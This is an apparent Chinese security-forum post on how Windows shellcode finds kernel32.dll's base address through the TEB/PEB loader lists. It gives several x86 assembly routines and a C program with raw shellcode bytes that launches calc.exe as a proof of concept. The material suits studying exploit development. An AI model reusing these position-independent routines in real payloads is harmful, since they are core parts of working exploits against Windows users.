為了使shellcode在多種作業系統平臺下都可以正常運行,就不得不動態的定位kernel32.dll的基底位址。而被廣泛使用的一種方法是通過TEB/PEB結構獲取kernel32.dll基底位址,我個人第一次接觸是通過綠盟月刊的一篇文章“通過TEB/PEB枚舉當前進程空間中使用者模組清單”方才知道這種被眾多程式設計人員使用的方法。至於這個方法的最原始出處該文作者也未提及。只得知29A雜誌也有大量使用該技術。這種方法適用於除Win7以外的所有windows作業系統包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及實現代碼;
更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
利用PEB結構來查找kernel32.dll的原理:FS段寄存器作為選擇子指向當前的TEB結構,在TEB偏移0x30處是PEB指標。而在PEB偏移的0x0c處是指向PEB_LDR_DATA結構的指標,位於PEB_LDR_DATA結構偏移0x1c處,是一個叫InInitialzationOrderModuleList的成員,他是指向LDR_MODULE鏈表結構中,相應的雙向鏈表頭部的指標,該鏈表載入的DLL的順序是ntdll.dll,kernel32.dl,因此該成員所指的鏈表偏移0x08處為kernel32.dll地址。
更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
獲取KERNEL32.DLL基址彙編實現代碼:
;find kernel32.dll
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x ;win9x or nt
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
但非常可惜的是這種方法在Win7下是不適用的,所以很高興現在給大家分享國外網站上看到的一種新的方法來定位kernel32.dl的基底位址,該方法可以在所有windows版本上適用!這種方法通過在InInitializationOrderModuleList中查找kernel32.dll模組名稱的長度來定位它的基底位址,因為"kernel32.dll"的最後一個字元為"\0"結束符。所以倘若模組最後一個位元組為"\0"即可定位kernel32.dll的地址;
具體代碼實現方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx
jne next_module
pop esi
Ret
通過我的測試,這種利用該方法編寫的shellcode可以在32位平臺Windows 5.0-7.0的所有版本上適用,下面是經我測試在win 7下實現執行calc.exe的shellcode,shellcode本身寫的很粗糙只為驗證該方法的可用性!
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
unsigned char shellcode[219] = {
0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};
printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感謝所有朋友回復和意見以及riusksk的驗證,漏洞方面我是新手,還需不斷學習,我深信技術的提升總是通過一次一次的更新的認知!發現自己的不足,不斷進步!這才是我一直關注看雪的原因!
參考連結:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/
---------------------------另種獲得kernel32.dll基址方式---------------------------
自己實現的,直接比對模組名得到kernel32.dll基底位址,原理一樣,適用所有windows版本
MOV EAX,DWORD PTR FS:[30H]
MOV EAX,DWORD PTR [EAX+0CH]
MOV EAX,DWORD PTR [EAX+1CH]
//...................................................................................................
PUSH 0x006c006c
PUSH 0x0064002e
PUSH 0x00320033
PUSH 0x006c0065
PUSH 0x006e0072
PUSH 0x0065006B
MOV ESI,ESP
_LOOP:
XOR ECX,ECX
MOV EAX,DWORD PTR [EAX] //LDR_MODULE鏈表頭的Flink指標
LEA EBX,DWORD PTR [EAX+1CH] //獲取_LDR_DATA_TABLE_ENTRY結構中的成員BaseDllName指標
MOV CX,WORD PTR [EBX] //獲取BaseDllName->Length
MOV EDI,DWORD PTR [EBX+4H] //獲取BaseDllName->buffer
CMP ECX,0
JE _LOOP
CMP CX, 24
JNE _LOOP
PUSH EAX //保存LDR_MODULE鏈表指標
//...................................................................................................
push ECX //strcmpwi函數的三個參數
push ESI
push EDI
//...................................................................................................
push 0 //填充返回偽值
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
lea edi, [ebp-48H]
mov ecx, 12h
mov eax, 0CCCCCCCCh
rep stosd
mov [ebp-4], 0
jmp short loc_40104A
loc_401041:
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_40104A:
mov ecx, [ebp-4]
cmp ecx, [ebp+10H]
jnb short loc_40109D
mov edx, [ebp+8H]
add edx, [ebp-4]
xor eax, eax
mov al, [edx]
cmp eax, 41h
jl short loc_401080
mov ecx, [ebp+8]
add ecx, [ebp-4]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Ah
jg short loc_401080
mov eax, [ebp+8]
add eax, [ebp-4]
xor ecx, ecx
mov cl, [eax]
add ecx, 20h
mov byte ptr [ebp-8], cl
loc_401080:
mov edx, [ebp-8]
and edx, 0FFh
mov eax, [ebp+0ch]
add eax, [ebp-4]
xor ecx, ecx
mov cl, [eax]
cmp edx, ecx
jz short loc_40109B
xor eax, eax
jmp short loc_4010A2
loc_40109B:
jmp short loc_401041
loc_40109D:
mov eax, 1
loc_4010A2:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add esp,16 //平衡堆疊
//...................................................................................................
CMP EAX,0
JNE _FINDED
POP EAX
JMP _LOOP
_FINDED:
POP EAX
MOV EAX, DWORD PTR[EAX + 8] //獲取kernel32.dll的基底位址
ADD ESP, 24